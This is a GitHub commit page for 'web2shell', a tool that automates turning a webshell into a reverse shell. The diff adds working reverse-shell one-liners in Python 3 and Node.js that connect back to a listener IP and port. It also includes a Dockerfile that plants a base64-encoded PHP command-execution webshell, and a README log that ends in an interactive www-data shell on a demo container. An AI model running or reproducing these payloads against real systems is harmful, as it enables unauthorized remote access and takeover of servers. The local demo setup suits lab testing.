Skip to content

Commit a7549c8

Browse files
authored
v0.1.2 Release (#5)
* Prompt for interface instead of defaulting to localhost * Remove unused function * Node reverse shell support * Add option to pass in a list of bins to test, ignoring others
1 parent ba439a7 commit a7549c8

File tree

9 files changed

+61
-28
lines changed

9 files changed

+61
-28
lines changed

README.md

Lines changed: 21 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ Credit for the reverse shells goes to [PayloadAllTheThings.](https://github.com/
77
## Usage
88

99
```
10-
usage: web2shell [-h] [-i INTERFACE] [--force] [--ip IP] [--port PORT] [--nc NC] [--verbose] url
10+
usage: web2shell [-h] [-v] [-i INTERFACE] [--force] [--ip IP] [--port PORT] [--nc NC] [--only [ONLY ...]] url
1111
1212
Automate converting webshells into reverse shells.
1313
@@ -16,13 +16,14 @@ positional arguments:
1616
1717
options:
1818
-h, --help show this help message and exit
19+
-v, --verbose verbose command output
1920
-i INTERFACE, --interface INTERFACE
20-
the interface to use when listening for a remote shell. Default is localhost.
21+
the interface to use when listening for a remote shell. If none is provided you will be prompted to select one.
2122
--force force command execution even if initial check is invalid
2223
--ip IP IP address of your own listener (skips listener setup if both IP and port are set)
2324
--port PORT port of your own listener
2425
--nc NC path to local nc binary
25-
--verbose verbose command output
26+
--only [ONLY ...] list of bins to test, ignores all others. ex: --only python php node
2627
```
2728

2829
Providing an IP and port will cause the program to skip the listener setup and assume you already have netcat/a comparable listener running at that address.
@@ -46,7 +47,7 @@ The included payloads have all been tested on a simple webshell and work. If you
4647
Example execution on local Docker image (see `demo/README.md`)
4748

4849
```
49-
[evan@ejedev web2shell]$ python3 web2shell.py -i docker0 http://127.0.0.1:8080/cmd.php?cmd=SHELL
50+
[evan@ejedev web2shell]$ python3 web2shell.py http://127.0.0.1:8080/cmd.php?cmd=SHELL
5051
5152
o o o o
5253
O .oOOo. O O O
@@ -57,17 +58,22 @@ Example execution on local Docker image (see `demo/README.md`)
5758
o O O O o O .O O o O O o o
5859
`Oo'oO' `OoO' `OoO' oOoOoO `OoO' O o `OoO' Oo Oo
5960
---------------------------------------------------
60-
@ejedev
61+
v0.1.2 @ejedev
6162
6263
Verifying commands can be executed...
6364
Available interfaces...
6465
[-] lo
6566
[-] enp4s0
66-
[-] br-aa3534e13396
67-
[-] br-c7551daa06d2
67+
[-] br-3bd00064871f
6868
[-] docker0
69+
[-] br-a01c69609a5e
6970
[-] br-a193929c6ae4
70-
[-] veth57bc03a
71+
[-] br-aa3534e13396
72+
[-] br-c7551daa06d2
73+
[-] br-2369a8165a53
74+
[-] veth7b49643
75+
No interface provided. Please enter the name of an available interface or 'exit' to quit:
76+
> docker0
7177
docker0 selected. Address to use is 172.17.0.1
7278
Testing ports...
7379
[x] 1025 already in use or unavailable.
@@ -80,20 +86,19 @@ Ncat: Version 7.93 ( https://nmap.org/ncat )
8086
Ncat: Listening on :::1026
8187
Ncat: Listening on 0.0.0.0:1026
8288
[-] perl found at /usr/bin/perl
83-
[-] perl found at /usr/bin/perl5.32-x86_64-linux-gnu
8489
[-] php found at /usr/local/bin/php
85-
[-] python found at /usr/bin/python3.9
86-
[-] ruby found at /usr/bin/ruby2.7
90+
[-] python3 found at /usr/bin/python3
8791
[-] ruby found at /usr/bin/ruby
8892
[-] go found at /usr/bin/go
93+
[-] node found at /usr/bin/node
8994
Finding shells...
90-
[-] bash found at /bin/bash
91-
[-] sh found at /bin/sh
95+
[-] bash found at /usr/bin/bash
96+
[-] sh found at /usr/bin/sh
9297
Executing reverse shell...
93-
Bins to test: 7
98+
Bins to test: 6
9499
Shells to test: 2
95100
[!] Attempting perl payloads for path /usr/bin/perl
96101
Ncat: Connection from 172.17.0.2.
97-
Ncat: Connection from 172.17.0.2:44590.
98-
www-data@122099e5b76d:/var/www/html$
102+
Ncat: Connection from 172.17.0.2:40170.
103+
www-data@849d7a9007c8:/var/www/html$
99104
```

data/payloads.py

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,12 +16,21 @@
1616
'PATHHERE -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["SHELLHERE","-i"])\'',
1717
'PATHHERE -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));subprocess.call(["SHELLHERE","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\'',
1818
],
19+
# TODO Add support for multiple binaries with the same payload list.
20+
"python3": [
21+
'PATHHERE -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("SHELLHERE")\'',
22+
'PATHHERE -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["SHELLHERE","-i"])\'',
23+
'PATHHERE -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IPHERE",PORTHERE));subprocess.call(["SHELLHERE","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\'',
24+
],
1925
"ruby": [
2026
'PATHHERE -rsocket -e\'exit if fork;c=TCPSocket.new("IPHERE","PORTHERE");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}\''
2127
],
2228
"go": [
2329
'export GOCACHE=/tmp; echo \'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IPHERE:PORTHERE");cmd:=exec.Command("SHELLHERE");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}\' > /tmp/t.go && PATHHERE run /tmp/t.go && rm /tmp/t.go'
2430
],
31+
"node": [
32+
'echo \'(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("SHELLHERE", []); var client = new net.Socket(); client.connect(PORTHERE, "IPHERE", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();\' > /tmp/t.js && node /tmp/t.js && rm /tmp/t.js'
33+
],
2534
}
2635

2736
shells = [

demo/Dockerfile

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,12 @@
1-
FROM php:7.4.27-apache
1+
FROM php:8.2.12-apache
22

33
WORKDIR /var/www/html
44

55
RUN echo "PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpeyBlY2hvICI8cHJlPiI7ICRjbWQgPSAoJF9SRVFVRVNUWydjbWQnXSk7IHN5c3RlbSgkY21kKTsgZWNobyAiPC9wcmU+IjsgZGllOyB9Pz4=" | base64 -d > /var/www/html/cmd.php
66

77
RUN apt update
88

9-
RUN apt install python3 ruby golang -y
9+
RUN apt install python3 ruby golang nodejs -y
1010

1111
EXPOSE 80
1212

demo/README.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,10 +4,13 @@
44
2. Run the image (`docker run -it -p 8080:80 webshell`)
55
3. Use web2shell to secure a remote connection on the docker0 interface (`python3 web2shell.py --interface docker0 http://127.0.0.1:8080/cmd.php?cmd=SHELL`)
66

7+
You can test individual shells with the `--only` flag. Please read the help menu for more info.
8+
79
Note: This Docker container has the binaries for all supported reverse shells. They are as follows:
810

911
- Perl
1012
- PHP
1113
- Python
1214
- Ruby
1315
- Golang
16+
- NodeJS

modules/commands.py

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,9 +15,12 @@ def execute(url: str, command: str) -> str:
1515
return data.text
1616

1717

18-
def find_bins(url: str, verbose: bool, bins: list) -> list:
18+
def find_bins(url: str, verbose: bool, bins: list, only: list = []) -> list:
1919
valid = []
2020
for bin in bins:
21+
if len(only) > 0:
22+
if bin not in only:
23+
continue
2124
result = execute(url, f"whereis {bin}")
2225
logger.log(result, types.Status.VERBOSE, True, verbose)
2326
for path in result.split(" "):

modules/connection.py

Lines changed: 10 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -12,11 +12,16 @@ def get_ip(interfaces: dict, provided_inteface: str) -> str:
1212
if provided_inteface == interface:
1313
selected = interface
1414
if selected is None:
15-
logger.log("No interface provided. Defaulting to localhost.")
16-
return "127.0.0.1"
17-
else:
18-
logger.log(f"{selected} selected. Address to use is {interfaces[selected][0].address}")
19-
return interfaces[selected][0].address
15+
logger.log("No interface provided. Please enter the name of an available interface or 'exit' to quit:")
16+
while selected is None:
17+
inputed = input("> ")
18+
if inputed.lower() == "exit":
19+
quit()
20+
else:
21+
if inputed in interfaces:
22+
selected = inputed
23+
logger.log(f"{selected} selected. Address to use is {interfaces[selected][0].address}")
24+
return interfaces[selected][0].address
2025

2126

2227
def get_port(ip: str) -> int:

modules/flags.py

Lines changed: 10 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,10 +4,11 @@ def setup(parser):
44
help='webshell URL, replace the provided command with "SHELL". ex: https://example.com/shell.php?cmd=SHELL',
55
type=str,
66
)
7+
parser.add_argument("-v", "--verbose", help="verbose command output", required=False, action="store_true")
78
parser.add_argument(
89
"-i",
910
"--interface",
10-
help="the interface to use when listening for a remote shell. Default is localhost.",
11+
help="the interface to use when listening for a remote shell. If none is provided you will be prompted to select one.",
1112
type=str,
1213
required=False,
1314
default="",
@@ -34,5 +35,12 @@ def setup(parser):
3435
required=False,
3536
default=None,
3637
)
37-
parser.add_argument("--verbose", help="verbose command output", required=False, action="store_true")
38+
parser.add_argument(
39+
"--only",
40+
help="list of bins to test, ignores all others. ex: --only python php",
41+
nargs="*",
42+
type=str,
43+
required=False,
44+
default=[],
45+
)
3846
return parser

modules/logger.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ def splash():
1313
o O O O o O .O O o O O o o
1414
`Oo'oO' `OoO' `OoO' oOoOoO `OoO' O o `OoO' Oo Oo
1515
---------------------------------------------------
16-
v0.1.1 @ejedev
16+
v0.1.2 @ejedev
1717
"""
1818
)
1919

web2shell.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -41,7 +41,7 @@
4141
port = results.port
4242
logger.log(f"Final connection string will be {ip}:{port}...")
4343
logger.log("Finding bins...")
44-
bins = commands.find_bins(results.url, results.verbose, list(payloads.bins.keys()))
44+
bins = commands.find_bins(results.url, results.verbose, list(payloads.bins.keys()), results.only)
4545
logger.log("Finding shells...")
4646
shells = commands.find_bins(results.url, results.verbose, payloads.shells)
4747
if len(bins) < 1:

0 commit comments

Comments
 (0)